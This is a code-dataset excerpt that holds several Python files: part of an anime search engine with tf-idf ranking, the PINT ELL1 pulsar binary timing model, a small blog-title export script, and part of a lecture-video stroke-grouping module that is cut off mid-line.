sorted(inverted_index_2[term_id], key=lambda x: x[1])\n\n # finally we save the item in order to avoid having to create the index again\n with open(name_inv_ind_tf_idf_file, \"wb\") as file:\n pickle.dump(inverted_index_2, file)\n # and also the idfs array\n with open(name_idfs_file, \"wb\") as file:\n pickle.dump(idf_calculated, file)\n\n return inverted_index_2, idf_calculated # we also return the calculated idfs so to avoid calculating them over and over\n\n\ndef download_inverted_index_tfidf(corpus,voc, name_inv_ind_tf_idf_file, name_idfs_file):\n\n \"\"\"This function extracts or downloads the inverted index with the tfidfs\n (depending on whether we've already created it) and returns it.\"\"\"\n\n print('Downloading inverted index tf.idf... ', end ='')\n if (name_inv_ind_tf_idf_file not in os.listdir()) or (name_idfs_file not in os.listdir()):\n ii_2, idfs = second_inverted_index(corpus,voc, name_inv_ind_tf_idf_file, name_idfs_file)\n else :\n with open(name_inv_ind_tf_idf_file, \"rb\") as file:\n ii_2 = pickle.load(file)\n with open(name_idfs_file, \"rb\") as file:\n idfs = pickle.load(file)\n print('Done')\n return ii_2, idfs\n\n\ndef cosine_similarity(vec1, vec2):\n\n \"\"\"This function computes the cosine similarity between the two\n vectors provided as input\"\"\"\n\n num = np.dot(vec1, vec2)\n denom = np.linalg.norm(vec1) * np.linalg.norm(vec2)\n cos = num / denom\n return cos\n\n\ndef tanimoto_distance(vec1, vec2):\n\n \"\"\"This function computes the tanimoto similarity between the two\n vectors provided as input\"\"\"\n\n num = np.dot(vec1, vec2)\n denom = np.square(np.linalg.norm(vec1)) + np.square(np.linalg.norm(vec2)) - num\n tanimoto = num / denom\n return tanimoto\n\n\ndef search_k_matches(query, corpus, voc, ii, idfs, urls, k=10):\n\n \"\"\"This function finds the documents that match the query provided\n by the user, creates a max-heap out of them according to their \n cosine similarity with the query and then returns the top k results.\"\"\"\n\n # store the file with all information about the set of html pages (use at the end to return information of relevant documents)\n df = pd.read_csv(\"./html_df.csv\")\n\n # apply preprocessing the query\n query = process_text(query.lower())\n\n # initialize the dictionary of the result\n dict_relevant = {}\n\n for word in query:\n if word in voc.keys(): # checks if query is in our vocabulary\n term_id = voc[word]\n # find documents with non_zero tf_idf with the \"word\"\n for doc_info in ii[term_id]:\n # doc_info[0] is the document_id (doc_info[1] is the associated tf-idf )\n # if it is not already in the dict_relevant, add it as key\n if doc_info[0] not in dict_relevant.keys():\n dict_relevant[doc_info[0]] = []\n # add the associated tf-idf (term-document)\n dict_relevant[doc_info[0]].append(doc_info[1])\n\n len_query = len(query)\n # if a word of query is not in idfs.keys(), it means that idf(x) = 0, so no need to keep it in our vector\n query_vector = [(query.count(x) / len_query) * idfs[x] for x in query if\n x in idfs.keys()] # we treat the query as a document\n distances = []\n for key in dict_relevant.keys():\n vector = dict_relevant[key]\n if len(vector) == len(\n query_vector): # this assures the conjuctive (and) property of the search engine (i.e. documents description contains every word of query)\n distances.append(\n (-cosine_similarity(query_vector, vector), key)) # negative of cosine_similarity to get max heap\n\n # convert \"distances\" as a heap\n heapq.heapify(distances)\n n_matches = len(distances)\n final_results = []\n # deal with the case where k > n_matches\n for i in range(min(k, n_matches)):\n # return and store [document_id, cosine_similarity] of the i-th best document according to the query in \"final_results\"\n el = heapq.heappop(distances)\n final_results.append([el[1], -el[0]]) # make the cosine distance positive again for the output\n\n # print(final_results)\n indices = [x[0] for x in final_results]\n distances = [x[1] for x in final_results]\n cols = [\"animeTitle\", \"animeDescription\"]\n # keep only the relevant lines\n partial_df = df.iloc[indices][cols]\n # add two columns : \"Url\" and \"Similarity\"\n final_df = partial_df.assign(Url=[urls[i] for i in indices],\n Similarity=distances)\n return final_df\n\n\ndef process_query(query):\n\n \"\"\"This function processes a query string with the structure\n 'main_query [parameter1=parameter1_query, parameter2=parameter2_query...'\n into its single components and returns them as a dictionary query_dict.\"\"\"\n\n query_dict = dict()\n main_query = re.search(\"^(.+)\\[\", query)\n anime_voices = re.search(\"voices=\\(([^\\)]+)\\)\", query)\n anime_chars = re.search(\"characters=\\(([^\\)]+)\\)\", query)\n anime_related = re.search(\"related=\\(([^\\)]+)\\)\", query)\n year = re.search(\"year=([0-9]+)[,\\]]\", query)\n anime_type = re.search(\"type=([a-zA-Z]+)[,\\]]\", query)\n\n if year:\n query_dict[\"release_year\"] = year.groups()[0]\n if anime_type:\n query_dict[\"anime_type\"] = anime_type.groups()[0]\n # transform these fields in lists before putting them in the dictionary\n if anime_voices:\n anime_voices = anime_voices.groups()[0]\n query_dict[\"anime_voices\"] = anime_voices.strip().split(\",\")\n\n if anime_chars:\n anime_chars = anime_chars.groups()[0]\n query_dict[\"anime_characters\"] = anime_chars.strip().split(\",\")\n if anime_related:\n anime_related = anime_related.groups()[0]\n query_dict[\"anime_related\"] = anime_related.strip().split(\",\")\n\n # preprocesses main query before putting it in the dictionary\n query_dict[\"main_text_query\"] = process_text(main_query.groups()[0])\n # print(query_dict)\n\n return query_dict\n\n\n# we need to treat the main query as it was its own document (I found references online on this).\n# This is the same thing i implemented in 2.2.2, I just put it in a function here.\ndef evaluate_main_query(query, corpus, voc, ii, idfs):\n\n \"\"\"this function finds all the documents that match at least part\n of the main query\"\"\"\n\n dict_relevant = {}\n for word in query:\n if word in voc.keys(): # checks if query is in our vocabulary\n term_id = voc[word]\n for doc_info in ii[term_id]:\n if doc_info[0] not in dict_relevant.keys():\n dict_relevant[doc_info[0]] = []\n dict_relevant[doc_info[0]].append(doc_info[1])\n\n return dict_relevant\n\n\ndef evaluate_parameters(query_d, df, anime_num):\n\n \"\"\"For each parameter contained in the query dictionary, this function\n evaluates the correspondance with the field in the anime_num provided\n as input and returns an array of boolean and float values.\"\"\"\n\n relevant_row = df.iloc[anime_num]\n vector = []\n for dict_key in sorted(query_d.keys()):\n if dict_key == \"release_year\":\n year = dt.datetime.strptime(relevant_row[\"releaseDate\"], \"%Y-%m-%d %H:%M:%S\").year\n vector.append(int(str(year) == query_d[dict_key])) # evaluates the boolean to an integer\n\n elif dict_key == \"anime_type\":\n anime_type = relevant_row[\"animeType\"]\n score = int(anime_type.lower() == query_d[dict_key].lower())\n vector.append(score)\n\n elif dict_key == \"anime_characters\":\n chars = relevant_row[\"animeCharacters\"].lower()\n matches = 0\n for char_query in query_d[dict_key]:\n char_query = char_query.lower()\n if char_query in chars:\n matches += 1\n score = matches / len(query_d[dict_key])\n vector.append(score)\n\n elif dict_key == \"anime_related\":\n related = relevant_row[\"animeRelated\"].lower()\n matches = 0\n for rel_anime_query in query_d[dict_key]:\n rel_anime_query = rel_anime_query.lower()\n if rel_anime_query in related:\n matches += 1\n score = matches / len(query_d[dict_key])\n vector.append(score)\n\n elif dict_key == \"anime_voices\":\n voices = relevant_row[\"animeVoices\"].lower()\n matches = 0\n for voices_query in query_d[dict_key]:\n voices_query = voices_query.lower()\n if voices_query in voices:\n matches += 1\n score = matches / len(query_d[dict_key])\n vector.append(score)\n\n return vector\n\n\ndef get_query_with_form():\n\n \"\"\"This function gets the query string via a form. It returns a string\n with the structure 'main_query [parameter1=parameter1_query, \n parameter2=parameter2_query...' so that regardless of whether it was \n btained directly or through this form, the inner logic of the overall\n algorithm doesn't change.\"\"\"\n\n query_d = dict()\n main_query = input(\"Enter your query: \")\n year = input(\"Year it was released: \")\n anime_type = input(\"Type of anime: \")\n voices = input(\"Voice actors: \")\n characters = input(\"Characters: \")\n related = input(\"Related animes: \")\n\n query_string = (f\"{main_query} [year={year}, anime_type={anime_type}, related=({related}),\"\n f\"voices=({voices}), characters=({characters})]\")\n\n return query_string\n\n\ndef search_k_matches_2(corpus, voc, ii, idfs, urls, query=None, k=10):\n\n \"\"\"This function finds the documents that match the query provided\n by the user using both the main query and the parameterized elements.\n It uses the cosine distance for what concerts the tfidfs and the \n tanimoto distance (more suited to binary values) to evaluate the\n correspondance between the parameters and the anime fields. \n It then obtains a single score by averaging these two distances out,\n creates a max-heap and then returns the top k results.\"\"\"\n\n df = pd.read_csv(\"./html_df.csv\")\n if not query:\n query = get_query_with_form()\n query_dict = process_query(query)\n # here we process the main query as it was its own document with perfect match parameters.\n main_query = query_dict[\"main_text_query\"]\n len_query = len(main_query)\n query_main_vector = [(main_query.count(x) / len_query) * idfs[x] for x in main_query if x in idfs.keys()]\n query_parameters_vector = [1] * (len(query_dict.keys()) - 1)\n\n # initialize the distances array that will contain all our distances and extract the synopsis\n # that match the main query\n distances = []\n dict_relevant = evaluate_main_query(main_query, corpus, voc, ii, idfs)\n\n # for each synopsis that matches the full main query (a condition guaranteed by the\n # \"if len(vector) == len(query_main_vector)\" check), we compute the cosine distance between the tfidfs\n # and the tanimoto distance between the binary values for the parameters. Then we average these\n # two values out and obtain a single score that we will put, together with the anime_num, in a tuple.\n # It's important that the first value is the distance and not the anime_num because this makes heapify\n # order the tuples correctly.\n # The strategy of taking the negative of the final score seems to be the standard approach for obtaining\n # a max heap from heapq.\n for key in dict_relevant.keys():\n vector = dict_relevant[key]\n if len(vector) == len(query_main_vector): # this assures the conjuctive (and) property of the search engine\n cosine = cosine_similarity(query_main_vector, vector)\n vector_parameters = evaluate_parameters(query_dict, df, key)\n tanimoto = tanimoto_distance(query_parameters_vector, vector_parameters)\n distances.append((-np.mean([cosine, tanimoto]), key)) # here we negativize the mean to get a max heap\n heapq.heapify(distances)\n n_matches = len(distances)\n final_results = []\n for i in range(min(k, n_matches)):\n el = heapq.heappop(distances)\n final_results.append([el[1], -el[0]]) # make the cosine distance positive again for the output\n\n indices = [x[0] for x in final_results]\n distances = [x[1] for x in final_results]\n cols = [\"animeTitle\", \"animeDescription\"]\n partial_df = df.iloc[indices][cols]\n final_df = partial_df.assign(Url=[urls[i] for i in indices],\n Similarity=distances)\n return final_df\n\n\n\n\n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":33605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"626720461","text":"from .binary_generic import PSR_BINARY\nfrom pint.models.timing_model import Cache\nimport numpy as np\nimport astropy.units as u\nimport astropy.constants as c\nfrom pint import ls,GMsun,Tsun\n\n\nclass ELL1model(PSR_BINARY):\n \"\"\"This is a class for ELL1 pulsar binary model.\n ELL1 model is BT model in the small eccentricity case.\n \"\"\"\n def __init__(self):\n super(ELL1model, self).__init__()\n self.binary_name = 'ELL1'\n self.param_default_value.update({'EPS1': 0*u.Unit(''),\n 'EPS2': 0*u.Unit(''),\n 'EPS1DOT': 0/u.second,\n 'EPS2DOT': 0/u.second,\n 'TASC': np.longdouble(54000.0)*u.day})\n self.binary_params = self.param_default_value.keys()\n self.set_param_values() # Set parameters to default values.\n self.ELL1_interVars = ['eps1', 'eps2', 'Phi', 'Dre', 'Drep', 'Drepp', 'nhat']\n self.add_inter_vars(self.ELL1_interVars)\n self.binary_delay_funcs += [self.ELL1delay]\n self.d_binarydelay_d_par_funcs += [self.d_ELL1delay_d_par]\n\n def ttasc(self):\n \"\"\"\n ttasc = t - TASC\n \"\"\"\n if not hasattr(self.t,'unit') or self.t.unit == None:\n t = self.t * u.day\n t = self.t\n ttasc = (t - self.TASC).to('second')\n return ttasc\n\n @Cache.cache_result\n def a1(self):\n \"\"\"ELL1 model a1 calculation. This method overrides the a1() method in\n pulsar_binary.py. Instead of tt0, it uses ttasc.\n \"\"\"\n return self.A1 + self.ttasc()*self.A1DOT\n\n @Cache.cache_result\n def d_a1_d_A1(self):\n return np.longdouble(np.ones(len(self.ttasc())))*u.Unit('')\n\n @Cache.cache_result\n def d_a1_d_T0(self):\n result = np.empty(len(self.ttasc()))\n result.fill(-self.A1DOT.value)\n return result*u.Unit(self.A1DOT.unit)\n\n @Cache.cache_result\n def d_a1_d_A1DOT(self):\n return self.ttasc()\n\n def eps1(self):\n return self.EPS1 + self.ttasc() * self.EPS1DOT\n\n def d_eps1_d_EPS1(self):\n return np.longdouble(np.ones(len(self.t))) * u.Unit('')\n\n def d_eps1_d_TASC(self):\n result = np.empty(len(self.t))\n result.fill(-self.EPS1DOT.value)\n return result*u.Unit(self.EPS1DOT.unit)\n\n def d_eps1_d_EPS1DOT(self):\n return self.ttasc()\n\n def eps2(self):\n return self.EPS2 + self.ttasc() * self.EPS2DOT\n\n def d_eps2_d_EPS2(self):\n return np.longdouble(np.ones(len(self.t))) * u.Unit('')\n\n def d_eps2_d_TASC(self):\n result = np.empty(len(self.t))\n result.fill(-self.EPS2DOT.value)\n return result*u.Unit(self.EPS2DOT.unit)\n\n def d_eps2_d_EPS2DOT(self):\n return self.ttasc()\n\n # TODO Duplicate code. Do we need change here.\n def Phi(self):\n \"\"\"Orbit phase in ELL1 model. Using TASC\n \"\"\"\n PB = (self.PB).to('second')\n PBDOT = self.PBDOT\n ttasc = self.ttasc()\n orbits = (ttasc/PB - 0.5*PBDOT*(ttasc/PB)**2).decompose()\n norbits = np.array(np.floor(orbits), dtype=np.long)\n phase = (orbits - norbits)*2*np.pi*u.rad\n return phase\n\n @Cache.cache_result\n def d_Phi_d_TASC(self):\n \"\"\"dPhi/dTASC\n \"\"\"\n PB = self.PB.to('second')\n PBDOT = self.PBDOT\n ttasc = self.ttasc()\n return (PBDOT*ttasc/PB-1.0)*2*np.pi*u.rad/PB\n\n @Cache.cache_result\n def d_Phi_d_PB(self):\n \"\"\"dPhi/dPB\n \"\"\"\n PB = self.PB.to('second')\n PBDOT = self.PBDOT\n ttasc = self.ttasc()\n return 2*np.pi*u.rad*(PBDOT*ttasc**2/PB**3 - ttasc/PB**2)\n\n @Cache.cache_result\n def d_Phi_d_PBDOT(self):\n \"\"\"dPhi/dPBDOT\n \"\"\"\n PB = self.PB.to('second')\n ttasc = self.ttasc()\n return -np.pi*u.rad * ttasc**2/PB**2\n\n def d_Dre_d_par(self, par):\n \"\"\"Dre = delayR = a1/c.c*(sin(phi) - 0.5* eps1*cos(2*phi) + 0.5* eps2*sin(2*phi))\n d_Dre_d_par = d_a1_d_par /c.c*(sin(phi) - 0.5* eps1*cos(2*phi) + 0.5* eps2*sin(2*phi)) +\n d_Dre_d_Phi * d_Phi_d_par + d_Dre_d_eps1*d_eps1_d_par + d_Dre_d_eps2*d_eps2_d_par\n \"\"\"\n a1 = self.a1()\n Phi = self.Phi()\n eps1 = self.eps1()\n eps2 = self.eps2()\n d_a1_d_par = self.prtl_der('a1', par)\n d_Dre_d_Phi = self.Drep()\n d_Phi_d_par = self.prtl_der('Phi', par)\n d_Dre_d_eps1 = a1/c.c*(-0.5 * np.cos(2 * Phi))\n d_Dre_d_eps2 = a1/c.c*(0.5 * np.sin(2*Phi))\n\n return d_a1_d_par /c.c*(np.sin(Phi) - 0.5* eps1*np.cos(2*Phi) + 0.5* eps2*np.sin(2*Phi)) + \\\n d_Dre_d_Phi * d_Phi_d_par + d_Dre_d_eps1 * self.prtl_der('eps1', par) + \\\n d_Dre_d_eps2 * self.prtl_der('eps2', par)\n\n def Drep(self):\n \"\"\" dDr/dPhi\n \"\"\"\n a1 = self.a1()\n eps1 = self.eps1()\n eps2 = self.eps1()\n Phi = self.Phi()\n return a1/c.c*(np.cos(Phi) + eps1 * np.sin(Phi) + eps2 * np.cos(Phi))\n\n def d_Drep_d_par(self, par):\n \"\"\"Drep = d_Dre_d_Phi = a1/c.c*(cos(Phi) + eps1 * sin(Phi) + eps2 * cos(Phi))\n d_Drep_d_par = d_a1_d_par /c.c*(cos(Phi) + eps1 * sin(Phi) + eps2 * cos(Phi)) +\n d_Drep_d_Phi * d_Phi_d_par + d_Drep_d_eps1*d_eps1_d_par +\n d_Drep_d_eps2*d_eps2_d_par\n \"\"\"\n a1 = self.a1()\n Phi = self.Phi()\n eps1 = self.eps1()\n eps2 = self.eps2()\n d_a1_d_par = self.prtl_der('a1', par)\n d_Drep_d_Phi = self.Drepp()\n d_Phi_d_par = self.prtl_der('Phi', par)\n d_Drep_d_eps1 = a1/c.c*np.sin(Phi)\n d_Drep_d_eps2 = a1/c.c*np.cos(Phi)\n\n return d_a1_d_par /c.c*(np.cos(Phi) + eps1 * np.sin(Phi) + eps2 * np.cos(Phi)) + \\\n d_Drep_d_Phi * d_Phi_d_par + d_Drep_d_eps1 * self.prtl_der('eps1', par) + \\\n d_Drep_d_eps2 * self.prtl_der('eps2', par)\n\n def Drepp(self):\n a1 = self.a1()\n eps1 = self.eps1()\n eps2 = self.eps1()\n Phi = self.Phi()\n return a1/c.c*(-np.sin(Phi) + eps1 * np.cos(Phi) - eps2 * np.sin(Phi))\n\n def d_Drepp_d_par(self, par):\n \"\"\"Drepp = d_Drep_d_Phi = a1/c.c*(-sin(Phi) + eps1 * cos(Phi) - eps2 * sin(Phi))\n d_Drep_d_par = d_a1_d_par /c.c*(-sin(Phi) + eps1 * cos(Phi) - eps2 * sin(Phi)) +\n d_Drepp_d_Phi * d_Phi_d_par + d_Drepp_d_eps1*d_eps1_d_par +\n d_Drepp_d_eps2*d_eps2_d_par\n \"\"\"\n a1 = self.a1()\n Phi = self.Phi()\n eps1 = self.eps1()\n eps2 = self.eps2()\n d_a1_d_par = self.prtl_der('a1', par)\n d_Drepp_d_Phi = a1/c.c*(-np.cos(Phi) - eps1*np.sin(Phi) - eps2 * np.cos(Phi))\n d_Phi_d_par = self.prtl_der('Phi', par)\n d_Drepp_d_eps1 = a1/c.c*np.cos(Phi)\n d_Drepp_d_eps2 = -a1/c.c*np.sin(Phi)\n\n return d_a1_d_par /c.c*(-np.sin(Phi) + eps1 * np.cos(Phi) - eps2 * np.sin(Phi)) + \\\n d_Drepp_d_Phi * d_Phi_d_par + d_Drepp_d_eps1 * self.prtl_der('eps1', par) + \\\n d_Drepp_d_eps2 * self.prtl_der('eps2', par)\n\n def delayR(self):\n \"\"\"ELL1 Roemer delay in proper time. Ch. Lange,1 F. Camilo, 2001 eq. A6\n \"\"\"\n Phi = self.Phi()\n return (self.a1()/c.c*(np.sin(Phi) + 0.5 * (self.eps2() * np.sin(2*Phi)\n - self.eps1() * np.cos(2*Phi)))).decompose()\n\n def delayS(self):\n \"\"\"ELL1 Shaprio delay. Ch. Lange,1 F. Camilo, 2001 eq. A16\n \"\"\"\n TM2 = self.TM2()\n Phi = self.Phi()\n sDelay = -2 * TM2 * np.log(1 - self.SINI * np.sin(Phi))\n return sDelay\n\n def d_delayS_d_par(self, par):\n \"\"\"Derivative for bianry Shaprio delay.\n delayS = -2 * TM2 * np.log(1 - self.SINI * np.sin(Phi))\n d_delayS_d_par = d_delayS_d_TM2 * d_TM2_d_par + d_delayS_d_SINI*d_SINI_d_par +\n d_delayS_d_Phi * d_Phi_d_par\n \"\"\"\n TM2 = self.TM2()\n Phi = self.Phi()\n d_delayS_d_TM2 = -2*np.log(1 - self.SINI * np.sin(Phi))\n d_delayS_d_SINI = -2 * TM2 * 1.0/(1 - self.SINI * np.sin(Phi))*(-np.sin(Phi))\n d_delayS_d_Phi = -2 * TM2 * 1.0/(1 - self.SINI * np.sin(Phi))*(-self.SINI)\n d_TM2_d_par = self.prtl_der('TM2', par)\n d_SINI_d_par = self.prtl_der('SINI', par)\n d_Phi_d_par = self.prtl_der('Phi', par)\n\n return d_delayS_d_TM2 * d_TM2_d_par + d_delayS_d_SINI*d_SINI_d_par + \\\n d_delayS_d_Phi * d_Phi_d_par\n\n\n def delayI(self):\n \"\"\"Inverse time delay formular. The treatment is similar to the one\n in DD model(T. Damour and N. Deruelle(1986)equation [46-52])\n Dre = a1*(sin(Phi)+eps1/2*sin(Phi)+eps1/2*cos(Phi))\n Drep = dDre/dt\n Drep = d^2 Dre/dt^2\n nhat = dPhi/dt = 2pi/pb\n nhatp = d^2Phi/dt^2 = 0\n Dre(t-Dre(t-Dre(t))) = Dre(Phi) - Drep(Phi)*nhat*Dre(t-Dre(t))\n = Dre(Phi) - Drep(Phi)*nhat*(Dre(Phi)-Drep(Phi)*nhat*Dre(t))\n + 1/2 (Drepp(u)*nhat^2 + Drep(u) * nhat * nhatp) * (Dre(t)-...)^2\n = Dre(Phi)(1 - nhat*Drep(Phi) + (nhat*Drep(Phi))^2\n + 1/2*nhat^2* Dre*Drepp)\n \"\"\"\n Dre = self.delayR()\n Drep = self.Drep()\n Drepp = self.Drepp()\n PB = self.PB.to('second')\n nhat = 2*np.pi/self.PB\n return (Dre*(1 - nhat*Drep + (nhat*Drep)**2 + 1.0/2*nhat**2*Dre*Drepp)).decompose()\n\n def nhat(self):\n return 2*np.pi/self.PB\n\n def d_nhat_d_PB(self):\n return -2*np.pi/self.PB**2\n\n def d_delayI_d_par(self, par):\n \"\"\"delayI = Dre*(1 - nhat*Drep + (nhat*Drep)**2 + 1.0/2*nhat**2*Dre*Drepp)\n d_delayI_d_par = d_delayI_d_Dre * d_Dre_d_par + d_delayI_d_Drep * d_Drep_d_par +\n d_delayI_d_Drepp * d_Drepp_d_par + d_delayI_d_nhat * d_nhat_d_par\n \"\"\"\n Dre = self.delayR()\n Drep = self.Drep()\n Drepp = self.Drepp()\n PB = self.PB.to('second')\n nhat = 2*np.pi/self.PB\n\n d_delayI_d_Dre = (1 - nhat*Drep + (nhat*Drep)**2 + 1.0/2*nhat**2*Dre*Drepp) + \\\n Dre * 1.0/2*nhat**2*Drepp\n d_delayI_d_Drep = -Dre*nhat + 2*(nhat*Drep)*nhat*Dre\n d_delayI_d_Drepp = 1.0/2*(nhat*Dre)**2\n d_delayI_d_nhat = Dre*(-Drep + 2*(nhat*Drep)*Drep + nhat*Dre*Drepp)\n d_nhat_d_par = self.prtl_der('nhat', par)\n d_Dre_d_par = self.d_Dre_d_par(par)\n d_Drep_d_par = self.d_Drep_d_par(par)\n d_Drepp_d_par = self.d_Drepp_d_par(par)\n\n return d_delayI_d_Dre * d_Dre_d_par + d_delayI_d_Drep * d_Drep_d_par + \\\n d_delayI_d_Drepp * d_Drepp_d_par + d_delayI_d_nhat * d_nhat_d_par\n\n def ELL1delay(self):\n # TODO need add aberration delay\n return self.delayI() + self.delayS()\n\n def d_ELL1delay_d_par(self, par):\n return self.d_delayI_d_par(par) + self.d_delayS_d_par(par)\n\n def ELL1_om(self):\n # arctan(om)\n om = np.arctan2(self.eps1(), self.eps2())\n return om.to(u.deg, equivalencies=u.dimensionless_angles())\n\n def ELL1_ecc(self):\n return np.sqrt(self.eps1()**2 + self.eps2()**2)\n\n def ELL1_T0(self):\n return self.TASC + self.PB/(2*np.pi) * \\\n (np.arctan(self.eps1()/self.eps2())).to(u.Unit(''), equivalencies=u.dimensionless_angles())\n","sub_path":"pint/models/stand_alone_psr_binaries/ELL1_model.py","file_name":"ELL1_model.py","file_ext":"py","file_size_in_byte":11396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395609100","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2015-08-27 13:41:22\n# @Author : xiaobuyao (xiaobuyao@gmail.com)\n# @Link : http://likai.im\n# @Version : $Id$\n\nimport json\nimport sys\n\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nwith open('bloglist.txt', 'w') as blogfile:\n for post in json.load(open('blog.json'))['RECORDS']:\n blogfile.write(post['post_title'].strip())\n blogfile.write('\\n')\n","sub_path":"Blog_Standard/bloglist.py","file_name":"bloglist.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493149576","text":"'''\nCreated on Mar 8, 2015\n\n@author: hijungshin\n'''\n\nfrom visualobjects import VisualObject\nfrom video import Video\nimport sys\nimport os\nimport util\nimport numpy as np\nimport process_aligned_json as pjson\nfrom sentence import Sentence\nimport cv2\nimport label\nfrom sublinebreak import SublineBreaker\nfrom moviepy.editor import *\nimport moviepy.video.fx.all as vfx\nimport videoclips\n\nclass Character:\n def __init__(self, charobj):\n self.obj = charobj\n self.stroke = None\n\nclass Stroke:\n def __init__(self, strokeobj, video):\n self.obj = strokeobj\n self.video = video\n self.list_of_chars = []\n self.stcgroup = None\n\nclass StcStroke:\n def __init__(self, subline, list_of_strokes, stc_id, sentence, stcstrokedir):\n self.subline = subline\n self.list_of_strokes = list_of_strokes\n for stroke in list_of_strokes:\n stroke.stcgroup = self\n self.stc_id = stc_id\n self.stc = sentence\n if sentence is not None:\n sentence.stcstroke = self\n self.obj = VisualObject.group([stroke.obj for stroke in self.list_of_strokes], stcstrokedir, imgname = \"sentence%06i.png\"%(stc_id) )\n self.objdir = stcstrokedir\n \n def obj_upto_inline(self,figdir):\n linegroup = self.subline.linegroup\n sub_id = self.subline.sub_line_id\n list_of_objs = []\n for i in range(0, sub_id): #all previous sublines\n grayobj = linegroup.list_of_sublines[i].obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n for stcstroke in self.subline.list_of_stcstrokes:\n list_of_objs.append(stcstroke.obj)\n if stcstroke == self:\n break\n\n obj = VisualObject.group(list_of_objs, figdir, \"line%i_upto_sub%i_stc%i.png\"%(linegroup.line_id, sub_id, self.stc_id))\n return obj\n\n def obj_inline(self,figdir):\n linegroup = self.subline.linegroup\n sub_id = self.subline.sub_line_id\n list_of_objs = []\n for i in range(0, sub_id): #all previous sublines\n grayobj = linegroup.list_of_sublines[i].obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n for stcstroke in self.subline.list_of_stcstrokes:\n if stcstroke == self:\n list_of_objs.append(stcstroke.obj)\n break\n else:\n grayobj = stcstroke.obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n obj = VisualObject.group(list_of_objs, figdir, \"line%i_upto_sub%i_stc%i.png\"%(linegroup.line_id, sub_id, self.stc_id))\n return obj\n \n def obj_inline_range(self,figdir, id1, id2):\n linegroup = self.subline.linegroup\n sub_id = self.subline.sub_line_id\n list_of_objs = []\n for i in range(0, sub_id): #all previous sublines\n grayobj = linegroup.list_of_sublines[i].obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n for j in range(0, len(self.subline.list_of_sentences)):\n sentence = self.subline.list_of_sentences[j]\n if sentence.stcstroke is None:\n continue;\n stcstroke = sentence.stcstroke\n if id1 <= j and j <= id2:\n list_of_objs.append(stcstroke.obj)\n else:\n grayobj = stcstroke.obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n if stcstroke == self:\n break;\n obj = VisualObject.group(list_of_objs, figdir, \"line%i_upto_sub%i_stc%i.png\"%(linegroup.line_id, sub_id, self.stc_id))\n return obj\n \n \nclass SubLine:\n def __init__(self, list_of_strokes, line_id, sub_line_id, sublinedir):\n self.list_of_strokes = list_of_strokes\n self.line_id = line_id\n self.sub_line_id = sub_line_id \n self.list_of_sentences = [] \n self.list_of_video_sentences = []\n self.list_of_stcstrokes = []\n self.linegroup = None\n self.obj_in_line = None\n self.obj = VisualObject.group([stroke.obj for stroke in self.list_of_strokes], sublinedir, imgname = \"line%06i_%06i.png\" % (self.line_id, self.sub_line_id))\n self.objdir = sublinedir\n self.list_of_labels = []\n self.list_of_subsublines = []\n \n def add_label(self, pos):\n n = len(self.list_of_labels)\n lb = label.getlabels(len(self.list_of_labels), 1)\n lb[0].changepos(pos)\n self.list_of_labels.append(lb[0])\n return '[Figure %i - %i (%s)]' % (self.line_id+1, self.sub_line_id+1, chr(ord('a') +n))\n \n \n def link_stcstrokes(self, stcstrokedir):\n \"\"\"link each stroke in self.list_of_strokes to one and only one of self.list_of_stcs\"\"\"\n n_stcs = len(self.list_of_sentences)\n if (n_stcs == 0):\n stcstroke = StcStroke(self, self.list_of_strokes, -1, None, stcstrokedir)\n self.list_of_stcstrokes.append(stcstroke)\n return\n \n closest_stc_ids = []\n for stroke in self.list_of_strokes:\n min_dist = float(\"inf\")\n closest_stc_id = -1\n for i in range(0, n_stcs):\n stc = self.list_of_sentences[i]\n dist = VisualObject.obj_stc_distance(stroke.obj, stc.list_of_words, stc.video)\n if (dist < min_dist):\n min_dist = dist\n closest_stc_id = i\n closest_stc_ids.append(closest_stc_id)\n \n closest_stc_ids = np.array(closest_stc_ids)\n for i in range(0, n_stcs):\n stc = self.list_of_sentences[i]\n stroke_ids = np.where(closest_stc_ids == i)[0]\n if (len(stroke_ids) > 0):\n stc_list_of_strokes = [self.list_of_strokes[x] for x in stroke_ids]\n stcstroke = StcStroke(self, stc_list_of_strokes, stc.id, stc, stcstrokedir)\n self.list_of_stcstrokes.append(stcstroke)\n \n \n def link_linegroup(self, linegroup):\n self.linegroup = linegroup\n list_of_imgobjs = []\n for subline in linegroup.list_of_sublines:\n if subline == self:\n for stroke in subline.list_of_strokes:\n list_of_imgobjs.append(stroke.obj)\n else:\n for stroke in subline.list_of_strokes:\n grayobj = stroke.obj.copy()\n grayobj.img = util.fg2gray(stroke.obj.img, 200)\n list_of_imgobjs.append(grayobj)\n self.obj_in_line = VisualObject.group(list_of_imgobjs, self.objdir, imgname=\"inline%06i_%06i.png\" % (self.line_id, self.sub_line_id))\n\n def write_video(self, videodir, myvideo):\n lineid = self.line_id\n subid = self.sub_line_id\n filename = \"line%i_sub%i\"%(lineid, subid)\n imgobj_startt = self.obj.start_fid\n imgobj_endt = self.obj.end_fid\n if len(self.list_of_video_sentences) > 0:\n stc_startt = self.list_of_video_sentences[0].start_fid\n stc_endt = self.list_of_video_sentences[-1].end_fid\n else:\n stc_startt = float(\"inf\")\n stc_endt = -1\n self.video_startt = myvideo.fid2sec(min(stc_startt, imgobj_startt))\n self.video_endt = myvideo.fid2sec(max(stc_endt, imgobj_endt)) + 1.0\n self.video_endt = min(myvideo.endt/1000.0, self.video_endt)\n# print 'startt', self.video_startt, 'endt', self.video_endt\n \n subclip = VideoFileClip(myvideo.filepath).subclip(self.video_startt, self.video_endt)\n subclip = 